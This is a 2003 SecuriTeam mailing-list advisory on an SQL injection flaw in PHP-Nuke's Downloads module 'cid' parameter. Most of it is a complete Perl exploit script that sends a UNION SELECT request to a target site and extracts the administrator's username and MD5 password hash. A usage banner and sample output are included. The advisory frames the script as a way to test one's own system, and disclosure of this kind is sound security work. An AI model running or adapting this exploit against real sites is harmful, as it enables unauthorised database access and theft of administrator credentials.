[EXPL] PHP-Nuke 'cid' SQL Injection

From: SecuriTeam (support_at_securiteam.com)
Date: 12/24/03

  • Next message: SecuriTeam: "[TOOL] PScanDetect - TCP Portscan Detector"
    To: list@securiteam.com
    Date: 24 Dec 2003 15:07:34 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      PHP-Nuke 'cid' SQL Injection
    ------------------------------------------------------------------------

    SUMMARY

    PHP-Nuke contains an exploitable SQL injection vulnerability that can be
    used by attackers to cause the system to execute arbitrary SQL statements.
    The following exploit code can be used to test your system for the
    mentioned vulnerability.

    DETAILS

    Vulnerable systems:
     * PHP-NUKE version 6.9 and prior

    Exploit:
    #!/usr/bin/perl -w
    use IO::Socket;

    ########################################
    ## THIS CODE PUBLIC NOW =))) ##
    ########################################
    ## __________ ___ ___ ##
    ## \______ \__ __ ______/ | \ ##
    ## | _/ | \/ ___/ _ \ ##
    ## | | \ | /\___ \\ / ##
    ## |____|_ /____//____ >\___|_ / ##
    ## \/ \/ \/ ##
    ########################################
    ## based on 'cid' sql injection vuln
    ## in Download module, more info about
    ## this vuln u can see here:
    ## http://rst.void.ru/texts/advisory10.htm
    ########################################
    ## work only on mysql version > 4.0
    ########################################
    ## tested on PHP-Nuke versions: 6.9, 6.0, 6.5
    ## C:\>r57phpnuke.pl 127.0.0.1 /phpnuke/ admin
    ##
    ## server : 127.0.0.1
    ## folder : /phpnuke/
    ## aid : admin
    ##
    ## [~] prepare to connect...
    ## [+] connected
    ## [~] prepare to send data...
    ## [+] success
    ## [~] wait for reply...
    ## [+] w00t...
    ## [+] USER: admin
    ## [+] MD5 HASH: 5f4dcc3b5aa765d61d8327deb882cf99
    ##
    ########################################

    if (@ARGV < 3)
    {
    print
    "################################################################\n";
    print " r57nuke-cid.pl - PHP-NUKE 'cid' sql injection exploit\n";
    print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
    print " coded by 1dt.w0lf // r00t\@rsteam.ru // 17.09.2003\n";
    print
    "################################################################\n";
    print " Usage:\n";
    print " r57nuke-cid.pl <host> </folder/> <aid>\n";
    print "\n";
    print " <host> - host for attack\n";
    print " </folder/> - PHP-nuke folder ( /phpnuke/ , /nuke/ or / for no
    folder )\n";
    print " <aid> - user aid , nick ( admin , blabla )\n";
    print
    "##################################################################";
    exit();
    }

    $server = $ARGV[0];
    $folder = $ARGV[1];
    $aid = $ARGV[2];

    print "\n";
    print "server : $server\n";
    print "folder : $folder\n";
    print "aid : $aid\n";
    print "\n";
    $success = 0;
    $path_download =
    "modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20--";
    $GET = $folder . $path_download;
    print "[~] prepare to connect...\n";
    $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server",
    PeerPort => "80") || die "[-] connect failed\n";
    print "[+] connected\n";
    print "[~] prepare to send data...\n";
    print $socket "GET $GET HTTP/1.1\n";
    print $socket "Host: $server\n";
    print $socket "Accept: */*\n";
    print $socket "Http-Referer: http://microsoft.com\n";
    print $socket "User-Agent: Internet Explorer 6.0\n";
    print $socket "Pragma: no-cache\n";
    print $socket "Cache-Control: no-cache\n";
    print $socket "Connection: close\n\n";
    print "[+] success\n";
    print "[~] wait for reply...\n";
    while ($answer = <$socket>)
    {
     #print "$answer";
     if
    ($answer=~/(&cid=)(\w)(\"><b>)($aid)(<\/b><\/a><\/font>)(.{0,20})(<font
    class=\"content\">)(.{32})(<\/font>)/)
     {
     $success = 1;
     print "[+] w00t...\n";
     print "[+] USER: $1 \n[+] MD5 HASH: $6\n";
     }
    }
    if ($success == 0) { print "[-] exploit failed =(\n"; }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:r00t@rsteam.ru> r00t.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[TOOL] PScanDetect - TCP Portscan Detector"

    Relevant Pages